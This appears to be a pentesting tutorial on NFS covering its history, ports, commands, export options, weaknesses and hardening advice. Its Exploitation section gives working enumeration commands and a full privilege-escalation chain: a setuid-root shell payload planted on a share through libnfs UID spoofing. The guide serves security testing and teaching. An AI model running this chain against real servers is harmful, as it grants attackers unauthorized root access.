Pentesting Network File System (NFS)

NFS (Network File System) is a distributed file system protocol that allows users on client computers to access files over a network in the same way they would access a local storage. An administrator configures specific locations on the NFS server for data access by clients.

Developed by Sun Microsystems in 1984, this protocol has evolved through several versions - NFSv2, NFSv3, and NFSv4. The first version was developed to connect unix-like hosts. Then NFSv2 which ran on UDP network protocol was released in 1989. In 1994, NFSv3 was released to support asynchronous writes, manage 64 bit files and handle errors more effectively. Finally, NFSv4 with a NFSv4.1 minor release changed the narrative integrating security and adding features to communicate with Windows hosts via the Samba protocol.

NFS service typically runs on TCP/UDP port 111 and 2049 with port 111 for mapping RPC program numbers to their respective ports and port 2049 for establishing connection and data access. It is noteworthy that NFSv4 was designed to work exclusively on port 2049. To observe NFS communication on the wire see NFS version 4 Communication traffic flow.

1
2
3
4
5
6
tcp nfs or port 111 or port 2049 # wireshark capture filter
mkdir $FOLDERNAME
sudo mount -t nfs $IP:/$SHAREDFOLDER  $LOCALFOLDER -o nolock
sudo ls $LOCALFOLDER
sudo umount $LOCALFOLDER
rm -fr $LOCALFOLDER

/images/nfs/00_nfs-connection.png
NFS version 4 Communication

Common Server Application

  • Unix systems
    • nfs-kernel-server
    • nfs-utils
    • NFS Ganesha
  • Windows systems
    • FS-NFS-Service
    • Allegro NFS Server

Common Commands

COMMANDUSAGEDESCRIPTION
echoecho ‘$SHAREPATH $DOMAINorIPorCIDR(server-options)’ » /etc/exportswrite share configuration to /etc/exports
exportfsexportfs -a -r -o server-optionsexport /etc/exports where a:all r:re-export o:options
nfsstatnfsstat -c -sentries display NFS statistics where c:client s:server
mountmount -t $NFS_VERSION $IPorDomain:/$SHAREDFOLDER $LOCALFOLDER -o client-optionsmount the shared folder on the client machine
showmountshowmount -a -e $DOMAINorIPlist the shared folder
umountumount $LOCALFOLDERunmount the shared folder from client machine

server-options - ro:read only directory, rw:read and write directory, sync:synchronous read/write operation, async:asynchronous read/write operation, no_subtree_check:disable nested directory listing, nohide:enable nested directory listing, fsid:assign unique NFSv4 file system, no_root_squash:allows client root UID/GID privileges on directory, root_squash:disallows client root UID/GID privileges on directory, all_squash:maps client UID/GID to nobody, no_all_squash:preserves the client UID/GID on directory, insecure:allow unprivileged ports for NFS requests, secure:allow only privileged ports for NFS requests.

client-options - ro:read only, rw:read and write, noexec:prevents binary execution, nosuid:disables setuid/setguid, soft:client return error on access failure, hard:client retries on access failure, tcp:use TCP connection, udp:use UDP connection, vers=VERSION_NUMBER:NFS protocol version to use i.e 2,3,4, sec=SECURITY_MECHANISM:security flavor to use for authentication i.e sys,kbr5,kbr5i,kbr5p,ntlm, username=USERNAME:username to authenticate with, PASSWORD=PASSWORD:password of the user to authenticate with.

Common Vulnerability

  • Exposure of Sensitive Information to an Unauthorized Actor: CWE-200
  • Improper Access Control: CWE-284
  • Improper Authentication: CWE-287
  • Protection Mechanism Failure: CWE-693

Security Best Practices

  • Implement access control mechanism on host and shared directories.
  • Deploy NFSv4 with authentication and encryption.
  • Deploy NFS servers in isolated network.

Exploitation
NFS servers are sink for information. The feature of this technology for mounting remote volumes as though they were resident on the local machine brings great ease to the user. While accessing the exported directory does not grant a full shell on the remote system, an attacker can browser an improperly configured NFS server to discover juicy information that may enable access to the remote server and even escalate their privilege. Hence, an attacker’s inclination when an NFS service is encountered can include:

  • What valuable information they can find on all the directories they are able to access.
  • Whether they can execute a malicious file with elevated privilege via the remote systems shell.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
## SERVICE ENUMERATION ##
# with nmap
ls /usr/share/nmap/scripts/nfs*    # list nmap ftp scripts
'SNIP
/usr/share/nmap/scripts/nfs-ls.nse
/usr/share/nmap/scripts/nfs-showmount.nse
/usr/share/nmap/scripts/nfs-statfs.nse
'
nmap -p 111,2049 -sV $IP   # show version
nmap -p 111,2049 --script nfs-statfs $IP    # show mount point status

# with metasploit
search scanner nfs
use auxiliary/scanner/nfs/nfsmount   # show mount points
show options
set rhosts $REMOTEIP
set lhost $LOCALIP
run
 
## CREDENTIAL ENUMERATION ##

## PATH ENUMERATION ##
# with nmap
nmap -p 111,2049 --script nfs-ls $IP    # list mounted folder content

# with nfs-common utilities
showmount -e $IP   # show exported folder and permission

## HOST ENUMERATION/FOOTPRINTING ##
# mount the share locally
mkdir $LOCALFOLDERNAME
sudo mount -t nfs $IP:/$SHAREDFOLDERNAME $LOCALFOLDERNAME -o $SERVER_OPTIONS
nfsstat -c   # show nfs client operation details
nfsstat -s   # show nfs server operation details

# create a user and group to match the server's
stat $LOCALFOLDERNAME/*    # list access attritube of files in shared folder
sudo useradd -u $USERID $USERNAME    # create user
sudo groupadd -g $GROUPID $GROUPNAME    # create group
sudo usermod -aG $GROUPNAME $USERNAME    # add user to group
sudo passwd $USERID    # on prompt: enter a password and confirm the password
su $USERID    # on prompt: submit password

# explore the share 
sudo mount -t nfs $IP:/$SHAREDFOLDERNAME $LOCALFOLDERNAME -o $SERVER_OPTIONS  # re mount
cd $LOCALFOLDERNAME      # now change into local  directory
ls $LOCALFOLDERNAME

# escalate privileges
# build and compile libnfs
Version=5.0.2
wget https://github.com/sahlberg/libnfs/archive/refs/tags/libnfs-${Version}.zip
unzip libnfs-${Version}.zip
mv libnfs-libnfs-${Version} libnfs; cd libnfs
./bootstrap && ./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/

# develop and compile the exploit
cat << 'EOF' > pwn.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

void _init() {
  unsetenv("LD_PRELOAD");
  setgid(0);
  setuid(0);
  system("/usr/bin/bash");
}
EOF
gcc -fPIC -shared -nostartfiles -o pwn pwn.c

# upload pwn,ld_nfs.so,lib/.libs/libnfs.so,lib/.libs/libnfs.so.14 to target
sudo cp {pwn,ld_nfs.so,lib/.libs/libnfs.so,lib/.libs/libnfs.so.14} $LOCALFOLDER

# prepare the exploit
LD_NFS_UID=0 LD_LIBRARY_PATH=lib/.libs/ LD_PRELOAD=./ld_nfs.so cp pwn nfs://$IP:/$SHAREDFOLDER/pwn
LD_NFS_UID=0 LD_LIBRARY_PATH=lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://$IP:/$SHAREDFOLDER/pwn
LD_NFS_UID=0 LD_LIBRARY_PATH=lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://$IP:/$SHAREDFOLDER/pwn
LD_NFS_UID=0 LD_LIBRARY_PATH=lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://$IP:/$SHAREDFOLDER/pwn

# run the exploit
$LOCALFOLDER/pwn

# clean up
sudo umount -f $LOCALFOLDER    # unmount the share 
rm -fr $LOCALFOLDER    # remove local mount folder
sudo userdel $USERNAME    # delete the user
sudo groupdel $GROUPNAME    # delete the group

References